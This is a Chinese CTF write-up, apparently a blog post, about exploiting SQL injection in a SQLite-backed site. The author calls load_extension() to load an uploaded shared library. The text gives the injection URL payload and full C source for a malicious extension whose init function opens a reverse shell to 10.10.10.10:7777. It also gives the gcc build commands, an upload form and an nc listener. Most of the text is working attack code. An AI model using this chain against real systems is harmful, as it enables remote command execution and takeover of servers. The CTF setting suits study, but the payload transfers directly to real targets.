某次ctf比赛时,发现前台存在sql注入,使用的是sqlite数据库,通过报错信息,发现过滤了select、or、and、insert等关键字,但是没有禁止load_extension() 函数
于是可以通过如下方式加载动态库,如windows的dll,linux的so进行远程命令执行,方式如下:
www.abc.com?id=1'||load_extension('/home/poc.so');--
刚好目标网站有一个文件上传接口,可以自己编写动态库,然后上传上去。
从sqlite的官网上,我找到了一个例子:
load_extension的默认初始化函数不是c语言的main函数,而是sqlite3_extension_init函数,于是我把c语言的反弹shell 写进该函数里面:
/* Add your header comment here */
#include <sqlite3ext.h> /* Do not use <sqlite3.h>! */
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>
SQLITE_EXTENSION_INIT1
/* Insert your extension code here */
int tcp_port = 7777;
char *ip = "10.10.10.10";
#ifdef _WIN32
__declspec(dllexport)
#endif
int sqlite3_extension_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
int rc = SQLITE_OK;
SQLITE_EXTENSION_INIT2(pApi);
int fd;
if ( fork() <= 0){
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(tcp_port);
addr.sin_addr.s_addr = inet_addr(ip);
fd = socket(AF_INET, SOCK_STREAM, 0);
if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
exit(0);
}
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execve("/bin/bash", 0LL, 0LL);
}
return rc;
}
然后放到ubuntu里面进行编译,编译前先安装sqlite环境:
sudo apt install libsqlite3-dev
然后编译
gcc -g -fPIC -shared YourCode.c -o YourCode.so
然后上传so文件,这里有一个坑,千万不要使用burpsuite的paste from file,否则编码会有问题,不知不觉的你以为是poc的问题,然后在那调poc调到怀疑人生。放一个我师父给我的丑陋的表单:
<script>
function mysubmit(){
var formData = new FormData();
var fileSelect = document.getElementById("fileSelect");
if(fileSelect.files && fileSelect.files.length == 1){
var file = fileSelect.files[0];
formData.set("file", file, file.name);
}
formData.set("name", file.name);
formData.set("id", "5234j5lkj234bjk52h3452345");
var request = new XMLHttpRequest();
request.open("POST","http://www.baidu.com/");
request.send(formData);
}
</script>
<form>
<input type="file" id="fileSelect" name ="someFile"/>
<button type="button" οnclick="mysubmit()">submit</button>
</form>
选择文件,上传,然后在用burpsuite抓包,这个味道才最纯正。
调用load_extension函数前,启用nc监听:
nc -lvp 7777
调用,反弹成功,get flag。
再次,注意编码问题,奇坑。